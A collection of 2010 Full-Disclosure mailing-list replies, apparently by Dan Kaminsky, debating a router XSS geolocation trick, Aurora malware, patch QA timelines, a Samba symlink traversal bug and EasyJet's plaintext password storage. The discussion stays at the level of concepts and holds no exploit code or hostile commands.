address's and locations.\n\nI suspect it's a case of bad reporting and they confused MAC and IP\naddresses:\n\n"For now, it works only on FiOS routers supplied by Verizon, and then only\nwhen\nusers are logged in to the device's administrative panel."\n\nI'm guessing it works by poking the router, asking it what its upstream IP\naddress is, and then geolocating that.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/112", "subject": "Re: Geolocation Question", "index_author": "Dan Kaminsky (Jan 07)", "frm": "Dan Kaminsky ", "date": "Thu, 7 Jan 2010 23:14:36 +0100", "body_html": "\n
On Thu, Jan 7, 2010 at 11:12 PM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Thu, 07 Jan 2010 23:07:01 +0100, Dan Kaminsky said:\n
No, he uses an XSS against the router to pull its wireless MAC, and then\nputs that into Firefox's location services API.  That bounces off various\nwardriving sources and comes up with a latlong.\n
\n\nOK, so it only works against wireless routers that have been wardriven\nalready.  Makes you wonder what's on those Google Street-View trucks\nbesides a camera. ;)\n\n
\n\nwww.wigle.net and SkyHook have been doing this stuff for a while.  Though I\nsuppose there is that rule, "It's only creepy if Google does it"\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/116", "subject": "Re: Geolocation Question", "index_author": "Dan Kaminsky (Jan 07)", "frm": "Dan Kaminsky ", "date": "Thu, 7 Jan 2010 23:55:44 +0100", "body_html": "\n
On Thu, Jan 7, 2010 at 11:54 PM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Thu, 07 Jan 2010 23:14:36 +0100, Dan Kaminsky said:\n
On Thu, Jan 7, 2010 at 11:12 PM, <Valdis.Kletnieks () vt edu> wrote:\n
OK, so it only works against wireless routers that have been wardriven\nalready.  Makes you wonder what's on those Google Street-View trucks\nbesides a camera. ;)\n
\n\n
www.wigle.net and SkyHook have been doing this stuff for a while.\n
 Though I\n
suppose there is that rule, "It's only creepy if Google does it"\n
\n\nNot creepy, just a simple matter of scale.  I'm fairly sure that Google's\ndone several orders of magnitude more driving around than the other guys.\n\n\n
I'm not.\n\n"Wigle has 18,837,276 points from 1,058,769,231 unique observations."\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/287", "subject": "Re: All China, All The Time", "index_author": "Dan Kaminsky (Jan 15)", "frm": "Dan Kaminsky ", "date": "Sat, 16 Jan 2010 00:21:29 -0500", "body_html": "\n
If it's stupid and it works, it isn't stupid.\n\n\n\nOn Jan 15, 2010, at 11:07 PM, Marc Maiffret <marc () marcmaiffret com>  \nwrote:\n\n
Todd, have you verified this "encryption" specifically the statement  \nby McAfee:\n"One of the malicious programs opened a remote backdoor to the\ncomputer, establishing an encrypted covert channel that masqueraded as\nan SSL connection to avoid detection."\n\nI assume by masquerade they mean the fact it is communicating over\nport 443 with some simple XOR'd bytes to form commands for performing\nvarious actions ranging from process to file manipulation and updating\netc...\n\nThere are by far better exploits and malware in the world and used\neven by joe botnet operators than this IE0day and malware.\n\n-Marc\n\nOn Fri, Jan 15, 2010 at 2:57 PM, r00t <r00t () ellicit org> wrote:\n
Can you explain how this is sophisticated.  It looks to me like most\ndecent malware samples I've RE'd:\n\nThe result: triple encrypted shell code which downloads multiple\nencrypted binaries used to drop an encrypted payload on a target  \nmachine\nwhich then establishes an encrypted SSL channel to connect to a  \ncommand\nand control network.\n\nIf they are so sophisticated and organized, then why do they  \ncontinually\nget noticed shortly after the attack.  A major element that you  \nfail to\nrealize about these so called sophisticated attacks is stealth and\npersistence, which this attack lacks.\n\n\n\nOn 1/15/10 12:33 PM, Densmore, Todd wrote:\n
Here is my 2 cents on both Google and iiScan\n\nhttp://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2010/01/15/china-google-and-web-security.aspx\n\n~todd\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/371", "subject": "Re: Two MSIE 6.0/7.0 NULL pointer crashes", "index_author": "Dan Kaminsky (Jan 20)", "frm": "Dan Kaminsky ", "date": "Wed, 20 Jan 2010 19:25:11 +0100", "body_html": "\n
On Wed, Jan 20, 2010 at 7:00 PM,  <Valdis.Kletnieks () vt edu> wrote:\n
On Wed, 20 Jan 2010 10:38:34 EST, James Matthews said:\n\n
Why doesn't microsoft throw some of it's weight behind Mozilla and ditch IE\nforever. It doesn't suit their image.\n
\n\nUnfortunately, the PR doesn't work that way. \u00c2\u00a0Do you really want to be buying\nan entire operating system from somebody who just admitted they can't even\nproduce a workable browser with all their resources?\n\n(Note this works differently in the Linux world, where the kernel crew doesn't\neven pretend to write browsers, and the Firefox crew *just* does browsers, and\nsomebody else *just* does OpenOffice, and distros (for the most part) just worry\nabout integration issues, and everybody only claims to do their little part\nwell)\n
\n\nSeriously.  I mean, just look at Linux, Firefox, and OpenOffice.\nPristine code, not a single security vulnerability between them :)\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/385", "subject": "Re: Two MSIE 6.0/7.0 NULL pointer crashes", "index_author": "Dan Kaminsky (Jan 20)", "frm": "Dan Kaminsky ", "date": "Wed, 20 Jan 2010 22:19:40 +0100", "body_html": "\n
Microsoft response: Shrug, oh wait a minute does this vulnerability effect our bottom line?\n\nOSS community response: We're on it, a fix will be available asap.\n
\n\nTesting takes time.  That's why both Microsoft and Mozilla test.  A\nfix being *available* and a fix being *deployable* are not at all the\nsame things.  "Just pull the latest build from SVN" is rather\nnoticeably not an option.\n\n
"Any complicated and evolving piece of software will have security\nvulnerabilities all the time." Quoted for truth.\n
\n\nMore accurate:\n\n"Any complicated piece of software on an active attack surface will\nhave software vulnerabilities found."\n\nThere's a lot of projects that stopped evolving, but still have hidden vulns.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/402", "subject": "Re: Two MSIE 6.0/7.0 NULL pointer crashes", "index_author": "Dan Kaminsky (Jan 21)", "frm": "Dan Kaminsky ", "date": "Thu, 21 Jan 2010 17:12:17 +0100", "body_html": "\n
On Thu, Jan 21, 2010 at 1:53 AM, Michal Zalewski <lcamtuf () coredump cx> wrote:\n
Testing takes time. \u00c2\u00a0That's why both Microsoft and Mozilla test.\n
\n\nTesting almost never legitimately takes months or years, unless the\nprocess is severely broken; contrary to the popular claims,\npersonally, I have serious doubts that QA is a major bottleneck when\nit comes to security response - certainly not as often as portrayed.\n
\n\nThere are a lot of factors that go into how long it takes to run QA.\nHere's a few (I'll leave out the joys of multivendor for now):\n\n1) How widespread is the deployment?  A little while ago, Google had\nan XSS on Google Maps.  An hour later, they didn't.  About a decade\nago, AOL Instant Messenger had a remote code execution vulnerability.\nEight hours later, they didn't.  Say what you will about\ncentralization, but it *really* makes it easier and safer to deploy a\nfix, because the environment is totally known, and you have only one\nenvironment.  There are a couple dimensions at play here:\n\na) How many versions do you need to patch?\nb) How many different deployment classes are there?  If your\ndevelopers are making a bunch of enterprise assumptions (there's a\ndomain, there's group policy, there's an IT guy, etc) and the fix is\ngoing to Grandma, let me tell you, something's not going to work\nc) What's at stake?  Your D-Link router has very different deployment\ncharacteristics than your Juniper router.\n\n2) How complicated is the fix?  Throwing in a one-liner to make sure\nan integer doesn't overflow is indeed relatively straightforward.  But\nimagine an oldschool application drenched in strcpy, where you've lost\ncontext of the length of that buffer five functions ago.  Or imagine\nthe modern browser bug, where you're going up against an attacker who\n*by design* has a Turing complete capability to manipulate your object\ntree, complete with control over time.  Or, worst of all, take a\ndesign flaw like Marsh Ray's TLS renegotiation bug.  People are still\nfiddling around with figuring out how to fix that bug right, months\nlater.  Complexity introduces three issues:\n\na) You have to fix the entire flaw, and related flaws.  We've all seen\ncompanies who deploy fixes like "if this argument contains alert(1),\nabort".  Yeah, that's not enough.\nb) You have to not introduce new flaws with your fix -- complexity\ndoesn't stop increasing vulnerability just because you're doing a\nsecurity fix.\nc) The system needs to work entirely the same after.  That means you\ndon't get to significantly degrade performance, usability,\nreliability, or especially compatibility.  Particularly with design\nbugs, other systems grow to depend on their presence.  No software\nlives in a vacuum, so you have to actually _find_ these other pieces\nof code, and make sure things still work.\n\n3) How many people do you actually expect to deploy your patch?\nThere's this entire continuum between "only the other developers on\nSVN", through "the people who call to complain", to "everybody who\nclicks 'I accept the risk of patching'", to "my entire customer base\nwith zero user interaction whatsoever".  A patch with problems 0.005%\nof the time is acceptable if 1000 people are deploying, but not if\n1,000,000 people are deploying.  Note that security research is very\nstrongly correlated with deployment numbers, to the point that\nvulnerability count is much more correlated with popularity than code\nquality.  So you have this interesting situation where the more your\nfix is pushed, the more scrutiny there will be upon it.\n\nNow, you can consider these all excuses.  Believe me, QA people have\nno shortage of guys who look down on them and their problems.  But\ncertainly different bugs have different characteristics, and assuming\nthat all things can be fixed in the same time window with the same\noutput quality is just factually untrue.  You might as well be\nclaiming the next version of HTML5 will include an <antigravity> tag\nthat will make your laptop float in the air and spin around.\n\nThere is a balancing act.  Years is, of course, ridiculous.  In many\nsituations, so too are a couple of weeks.  If the goal is to achieve\nthe best quality patches, then you want the issue _prioritized\nheavily_, but not _on public fire_.  The latter encourages people to\nskip testing, and you know of course what happens when you skip\ntesting?\n\nYou end up with Gigabit Ethernet drivers that can't actually handle\nall frame lengths.  (Epic Intel find from Fabian Yamaguchi.  Wow.)\n\nResponsible disclosure has its risks.  You really can be jerked around\nby a company, *especially* one that hasn't experienced the weirdness\nof an external security disclosure before.  But engineering realities\ndon't go away just because the suits finally got out of the way.\nTesting matters.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jan/456", "subject": "Re: Two MSIE 6.0/7.0 NULL pointer crashes", "index_author": "Dan Kaminsky (Jan 23)", "frm": "Dan Kaminsky ", "date": "Sun, 24 Jan 2010 01:46:30 +0100", "body_html": "\n
On Sun, Jan 24, 2010 at 1:05 AM, Pavel Kankovsky\n<peak () argo troja mff cuni cz> wrote:\n
On Thu, 21 Jan 2010, Dan Kaminsky wrote:\n\n
But imagine an oldschool application drenched in strcpy, where you've\nlost context of the length of that buffer five functions ago.\n
\n\nWhen you discover you are riding a dead horse, the best strategy is to\ndismount. When you discover the program is designed too badly to be\nmaintained, the best strategy is to rewrite it.\n
\n\nNo question.  And how long do you think that takes?\n\nRemember when Netscape decided to throw away the Navigator 4.5\ncodebase, in favor of Mozilla/Seamonkey?  Remember how they had to do\nthat *again* with Mozilla/Gecko?\n\n
Or imagine the modern browser bug, where you're going up against an\nattacker who *by design* has a Turing complete capability to manipulate\nyour object tree, complete with control over time.\n
\n\nSuch an attacker must be assumed to possess hyperturing computing power\nbecause an exploit can communicate with an oracle.\n
\n\n"Hyperturing computing power" Not really sure what that means, but\nyes, oracles are pretty damn useful.  As Dino just pointed me to @\nBHDC:\n\n==\nDionysus Blazakis\nInterpreter Exploitation: Pointer Inference and JIT Spraying\n\nAs remote exploits have dwindled and perimeter defenses have become\nthe standard, remote client-side attacks are the next best choice for\nan attacker. Modern Windows operating systems have quelled the\nexplosion of client-side vulnerabilities using mitigation techniques\nsuch as data execution prevention (DEP) and address space layout\nrandomization (ASLR). This work will illustrate two novel techniques\nto bypass DEP and ASLR mitigations. These techniques leverage the\nattack surface exposed by the advanced script interpreters or virtual\nmachines commonly accessible within the browser. The first technique,\npointer inference, is used to find the memory address of a string of\nshellcode within the ActionScript interpreter despite ASLR. The second\ntechnique, JIT spraying, is used to write shellcode to executable\nmemory by leveraging predictable behaviors of the ActionScript JIT\ncompiler bypassing DEP. Future research directions and countermeasures\nfor interpreter implementers are discussed.\n===\n\n
But I do not think this case is much different from the previous one:\nmost, if not all, of those bugs are elementary integrity violations (not\nprevented because the boundary between trusted and untrusted data is not\nclear enough) and race conditions (multithreading with locks is an\nidea on the same level as strcpy).\n
\n\nNah, it's actually a lot worse. You have to start thinking in terms of\nstate explosion -- having turing complete access to even some of the\nstate of a remote system creates all sorts of new states that, even if\n*reachable* otherwise, would never be *predictably reachable*.  I\nmean, use-after-free becomes ludicrously easier when you can grab a\nhandle and cause a free.\n\n
Or, worst of all, take a design flaw like Marsh Ray's TLS\nrenegotiation bug.\n
\n\nOne needs to pay utmost attention to the design and its correctness.\nThis has been known for decades, hasn't it?\n
\n\nSure.  But we're not talking about what should be done before you\nwrite.  We're talking about what happens when you screw up.\n\n
(An interesting finding regarding the renegotiation issue: People\nanalyzing the protocol in the past had spent a lot of energy on its\nindividual parts, esp. the handshake, and very little work had been done\non the protocol as a whole.)\n
\n\nEh.  This was a subtle one, based more on not realizing the semantics\nfrom one layer happened to match the semantics of another, and also\nnot recognizing possible faults in the multi-session case.  It's a\npretty beautiful bug.\n\n
c) The system needs to work entirely the same after.\n
\n\nNot entirely. You want to get rid of the vulnerability.\n
\n\nI wouldn't consider being vulnerable "working" :)  But point taken.\nThe system needs to meet its functional requirements entirely the same\nafter.  Yes, there are bugs that make this *enormously* difficult,\nwhere you need to force a major migration to make customers safe.\nAdobe pushed something like this through for the DNS Rebinding socket\nfixes, phasing the fix across multiple releases at pretty enormous\nexpense.\n\n
--\nPavel Kankovsky aka Peak \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0/ Jeremiah 9:21 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0 \u00c2\u00a0\\\n"For death is come up into our MS Windows(tm)..." \\ 21st century edition /\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/106", "subject": "Re: Samba Remote Zero-Day Exploit", "index_author": "Dan Kaminsky (Feb 05)", "frm": "Dan Kaminsky ", "date": "Fri, 5 Feb 2010 17:26:46 -0500", "body_html": "\n
The bug here is that out-of-path symlinks are remotely writable.  If a\npre-existing symlink is there, it's not a problem.  But Kingcope's bug is\nlegit, the fact that he can *generate* the symlink breaks the entire path\nconcept of SMB shares.  As long as "cd .." wasn't working, "symlink .."\nmustn't either.\n\nI agree that a user with local access should be able to generate out of path\nsymlinks -- there's no path constraint concept in local access (well, not\nwithout a restricted shell, but thats its own ball of wax).  But Samba\nsupports dropping a user into a path, and it really does need to keep him\nthere.\n\n(On a side note, you're not going to see this sort of symlink stuff on\nWindows, and Samba is supposed to match Windows semantics in general.  Also,\nthis sort of directory traversal pops up from year to year, in web platforms\nparticularly, but also things like tar.)\n\nOn Fri, Feb 5, 2010 at 5:03 PM, <paul.szabo () sydney edu au> wrote:\n\n
Dear Kingcope,\n\nThe samba server follows symlinks by default. There are options\n("follow symlinks", "wide links") for turning it off:\n\nhttp://www.samba.org/samba/docs/using_samba/ch08.html#samba2-CHP-8-SECT-1.2\n\nhttp://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html#FOLLOWSYMLINKS\nhttp://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html#WIDELINKS\n\nThe "problem" at your installation seems a mis-configuration of\nyour server: please ask the admin to set "secure" options.\n(Some samba installations, like mine, wish to allow same access as a\nUNIX login would allow. Some shares like [home] are provided for ease\nof use, users are encouraged to create symlinks to other "interesting"\nplaces e.g. NFS-mounted directories.)\n\nCheers, Paul\n\nPaul Szabo   psz () maths usyd edu au   http://www.maths.usyd.edu.au/u/psz/\nSchool of Mathematics and Statistics   University of Sydney    Australia\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/114", "subject": "Re: Samba Remote Zero-Day Exploit", "index_author": "Dan Kaminsky (Feb 06)", "frm": "Dan Kaminsky ", "date": "Sat, 6 Feb 2010 12:43:28 -0500", "body_html": "\n
You need admin rights to create junctions. At that point, path  \nconstraints aren't relevant, just psexec and get not only arbitrary  \npath but arbitrary code.\n\nThe fix is to do what everybody with a directory traversal bug has to  \ndo, block out of path relative directories. In this specific case,  \nprevent the creation of symlinks where the target is out of the SMB  \nshare's range. (Still allow navigation to such symlinks if one exists,  \nthough.)\n\n\n\nOn Feb 6, 2010, at 8:21 AM, "Stefan Kanthak" <stefan.kanthak () nexgo de>  \nwrote:\n\n
Dan Kaminsky wrote:\n\n[...]\n\n
(On a side note, you're not going to see this sort of symlink stuff  \non\nWindows,\n
\n\nWhat exactly do you mean?\nTraversing symlinks on the server/share, or creation of "wide"  \nsymlinks\nby the client on the server/share?\n\nSince Windows 2000 NTFS supports "junctions", which pretty much  \nresemble\nUnix symlinks, but only for directories.\nSee <http://support.microsoft.com/kb/205524/en-us>\n\nOn the server, create a junction in your share and let it point to an\narbitrary local directory outside the share, and clients connected to\nthat share can enter the junction and access the "linked" directory.\n\nIf you have write access to the share from the client you can create\na "wide" junction there too, just as the OP showed with smbclient/ \nsamba.\n\n
and Samba is supposed to match Windows semantics in general.\n
\n\nExcept a mapping of directory symlinks to junctions for example.-(\n\nStefan\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/120", "subject": "Re: Samba Remote Zero-Day Exploit", "index_author": "Dan Kaminsky (Feb 06)", "frm": "Dan Kaminsky ", "date": "Sat, 6 Feb 2010 17:30:08 -0500", "body_html": "\n
\n\n\n\n\nOn Feb 6, 2010, at 5:26 PM, "Stefan Kanthak" <stefan.kanthak () nexgo de>  \nwrote:\n\n
Dan Kaminsky wrote on February 06, 2010 6:43 PM:\n\n
You need admin rights to create junctions.\n
\n\nOUCH!\nNo, creating junctions (as well as the Vista introduced symlinks)\nDOESN'T need admin rights!\n\n[snip]\n\n
\n\nReally?  Try. Especially remotely over SMB w/o remote interactive.\n\n\n
Stefan\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/438", "subject": "Re: EasyJet is storing user passwords in the clear", "index_author": "Dan Kaminsky (Feb 25)", "frm": "Dan Kaminsky ", "date": "Thu, 25 Feb 2010 10:05:13 -0500", "body_html": "\n
Sai,\n\n   I see where you're coming from, but what are the most recent statistics\non the effectiveness of hash cracking?  Isn't it something like 70% of the\npasswords in the field can be cracked with a minimal amount of brute\nforcing?\n\n   There are best practices, and there are vulnerabilities.  I don't think\nanybody's going to argue it's not best practice to store hashes rather than\nplaintext, but lets not delude ourselves regarding their effectiveness.\n\nOn Wed, Feb 24, 2010 at 6:57 PM, Sai Emrys <sai () saizai com> wrote:\n\n
A month ago, I notified EasyJet's network administrator, Lance\nWantenaar <lance.wantenaar () easyjet com>, about a serious flaw in\nEasyJet's password storage policy.\n\nAlthough I explained the problem and its consequences to him clearly,\nand explained that I would be acting in accordance with the standards\nof responsible full disclosure, EasyJet has not corrected this issue\ndespite Lance's assurances that they would investigate it. I have\nsince attempted to follow up with Lance multiple times, but he has not\nresponded.\n\nSince they have both had the standard one month and failed to even\nsuperficially patch this problem, and their official contact has\nchosen to not stay in contact, I am making this issue public in the\nhope that any other security problems with their websites are also\nmade public, and that public shaming will prompt them to protect their\nusers' security when private disclosure did not.\n\nEasyJet is currently storing users' passwords in the clear (or using\nreversible encryption, which is equivalent). You can verify this for\nyourself by creating an account at\nhttp://www.easyjet.com/asp/en/members/ and then activating the 'I have\nforgotten my password' link. It emails the password back to you in\nplain text, something that is completely impossible in a securely\ndesigned system that only stores salted hashes.\n\nAlthough I have not tested EasyJet's website for SQL injection\nvulnerabilities, and have no plan to do so, I would say that in my\nprofessional experience, people who make such a glaring security error\nas storing passwords in the clear tend to have other errors as well.\nAs a result of EasyJet's incompetence, if any such vulnerability is\nfound, an attacker will also be able to harvest all of its users'\npasswords.\n\nFor a recent example of why this is a problem, please see\n\nhttp://www.techcrunch.com/2009/12/14/rockyou-hack-security-myspace-facebook-passwords/\n- and note the followup litigation at\nhttp://gigaom.com/2009/12/30/rockyou-sued-over-user-data-breach/ .\n\nIf you have any questions about this, or you know of any other\nrelevant security issues that may be of interest to me, please contact\nme. My contact info is at http://saizai.livejournal.com/info .\n\nThis has been posted publicly to my blog at\nhttp://saizai.livejournal.com/960498.html ; I would appreciate a link\nfrom any news story or related blogging.\n\nSincerely,\nSai Emrys\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/441", "subject": "Re: EasyJet is storing user passwords in the clear", "index_author": "Dan Kaminsky (Feb 25)", "frm": "Dan Kaminsky ", "date": "Thu, 25 Feb 2010 11:07:37 -0500", "body_html": "\n
On Thu, Feb 25, 2010 at 10:39 AM, Michael Neal Vasquez <\nmnv () alumni princeton edu> wrote:\n\n
On Thu, Feb 25, 2010 at 8:05 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
Sai,\n\n   I see where you're coming from, but what are the most recent statistics\non the effectiveness of hash cracking?  Isn't it something like 70% of the\npasswords in the field can be cracked with a minimal amount of brute\nforcing?\n\n\n
\n\n70% ?\n\nPlain MD5 perhaps, but I don't think salted, or sha1, etc, have anywhere\nnear such high success rates.\n\n
\n\nThe problem isn't in the algorithm -- it's in the passwords themselves.\nSalting helps in that the attacker can't amortize the work effort across the\nentire population, but at the end of the day, even PBKDF2 isn't going to do\nmuch against 1234567890 and its ilk.\n\nTo put it another way, if EasyJet *did* have a breach, they couldn't very\nwell say "It's OK, because the passwords were hashed".\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/444", "subject": "Re: EasyJet is storing user passwords in the clear", "index_author": "Dan Kaminsky (Feb 25)", "frm": "Dan Kaminsky ", "date": "Thu, 25 Feb 2010 11:36:17 -0500", "body_html": "\n
We agree completely on the 70%.  Re, the 30%--\n\nSalting makes the biggest difference on large datasets, just because even\nfor 1000 different users you're now working 1000 times faster.  Algorithm\nchoice matters less.  The speed difference between MD5 and SHA-1 isn't that\nsignificant though:\n\n$ openssl speed md5\nDoing md5 for 3s on 16 size blocks: 2985670 md5's in 2.96s\nDoing md5 for 3s on 64 size blocks: 2931714 md5's in 3.04s\nDoing md5 for 3s on 256 size blocks: 2063380 md5's in 2.98s\nDoing md5 for 3s on 1024 size blocks: 956809 md5's in 3.03s\nDoing md5 for 3s on 8192 size blocks: 157650 md5's in 2.98s\n\n$ openssl speed sha1\nDoing sha1 for 3s on 16 size blocks: 3088016 sha1's in 2.98s\nDoing sha1 for 3s on 64 size blocks: 2818497 sha1's in 3.00s\nDoing sha1 for 3s on 256 size blocks: 1814907 sha1's in 3.01s\nDoing sha1 for 3s on 1024 size blocks: 751942 sha1's in 2.98s\nDoing sha1 for 3s on 8192 size blocks: 116496 sha1's in 2.98s\n\nPBKDF2, which basically runs the hash function in a loop, can make a\ndifference.  But at the end of the day, a leaked password database is bad\nnews, hashes or not.\n\nOn Thu, Feb 25, 2010 at 11:31 AM, Michael Neal Vasquez <\nmnv () alumni princeton edu> wrote:\n\n
If I reread your statement, and take it as "70% of people's passwords\nsuck"  -- I'd have to agree.  I'd say though, for the remaining 30%,\nalgorithm choice, even without salting, can make a difference.  My password\naudits go much quicker when LM is enabled, vs NTLM.  Same for MD5 vs SHA1.\n\n\nOn Thu, Feb 25, 2010 at 9:07 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
\n\n\nOn Thu, Feb 25, 2010 at 10:39 AM, Michael Neal Vasquez <\nmnv () alumni princeton edu> wrote:\n\n
On Thu, Feb 25, 2010 at 8:05 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
Sai,\n\n   I see where you're coming from, but what are the most recent\nstatistics on the effectiveness of hash cracking?  Isn't it something like\n70% of the passwords in the field can be cracked with a minimal amount of\nbrute forcing?\n\n\n
\n\n70% ?\n\nPlain MD5 perhaps, but I don't think salted, or sha1, etc, have anywhere\nnear such high success rates.\n\n
\n\nThe problem isn't in the algorithm -- it's in the passwords themselves.\nSalting helps in that the attacker can't amortize the work effort across the\nentire population, but at the end of the day, even PBKDF2 isn't going to do\nmuch against 1234567890 and its ilk.\n\nTo put it another way, if EasyJet *did* have a breach, they couldn't very\nwell say "It's OK, because the passwords were hashed".\n\n
\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Feb/460", "subject": "Re: EasyJet is storing user passwords in the clear", "index_author": "Dan Kaminsky (Feb 25)", "frm": "Dan Kaminsky ", "date": "Thu, 25 Feb 2010 17:57:59 -0500", "body_html": "\n
\n\n\n\n\nOn Feb 25, 2010, at 5:44 PM, Sai Emrys <sai () saizai com> wrote:\n\n
Dan -\n\n
   I see where you're coming from, but what are the most recent  \nstatistics\non the effectiveness of hash cracking?  Isn't it something like 70%  \nof the\npasswords in the field can be cracked with a minimal amount of brute\nforcing?\n
\n\nOf course this depends on what you mean by "minimal".\nhttp://www.imperva.com/docs/WP_Consumer_Password_Worst_Practices.pdf\nclaims 20% success with a 5k dictionary based on the RockYou password\ndb. Presumably this would be at least somewhat worse with an unknown\ndb, since their results are from post hoc knowledge.\n\n
\n\nThat's 20% with a work effort of effectively 0 per password with a  \nsingle dictionary.  Spend a few minutes of brute force on each pass  \nand the success rate grows.\n\n
   There are best practices, and there are vulnerabilities.  I  \ndon't think\nanybody's going to argue it's not best practice to store hashes  \nrather than\nplaintext, but lets not delude ourselves regarding their  \neffectiveness.\n
\n\nFair enough. As I wrote in a comment on my blog post, the\nvulnerability here is not that EasyJet data would be compromised - if\nthis is relevant, that's already happened - but that it would lead to\neasy escalation of the compromise.\n\nNot every vulnerability disclosure is on the level of structural DNS\nissues. ;-) I think that this is at about the level of finding a blind\nSQL injection hole.\n\n
\n\nA SQL Injection hole *is* the compromise. This says, given the  \ncompromise, the work effort is somewhat lower than it might be.  The  \ndependency chain is clear.\n\nThere is actually something interesting about this work, in that it's  \na really good illustration of the difference between what you can  \nlegally look for in web apps vs. binaries that sit on a machine that  \nyou own.  You hit Forgot My Password, and in doing nothing illicit,  \nnothing unusual, you learn a deep detail about the backend  \nimplementation -- that it stores plaintext passwords.\n\nThat's good to know, but with the exception of situations where SQL is  \nin the URI, we don't get to look for the really scary stuff.  At  \nleast, not in a legally safe manner.\n\n\n
Is it an awesome new hack? Hardly.\n\nIs it incompetent of EasyJet, given that it's a large company with a\nlot of users' data? Yes.\n\n
\n\nThe point I'm making is that they could do better, but not that much  \nbetter. Auth is broken, we need to get past passwords, etc.\n\n
Thanks,\n- Sai\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
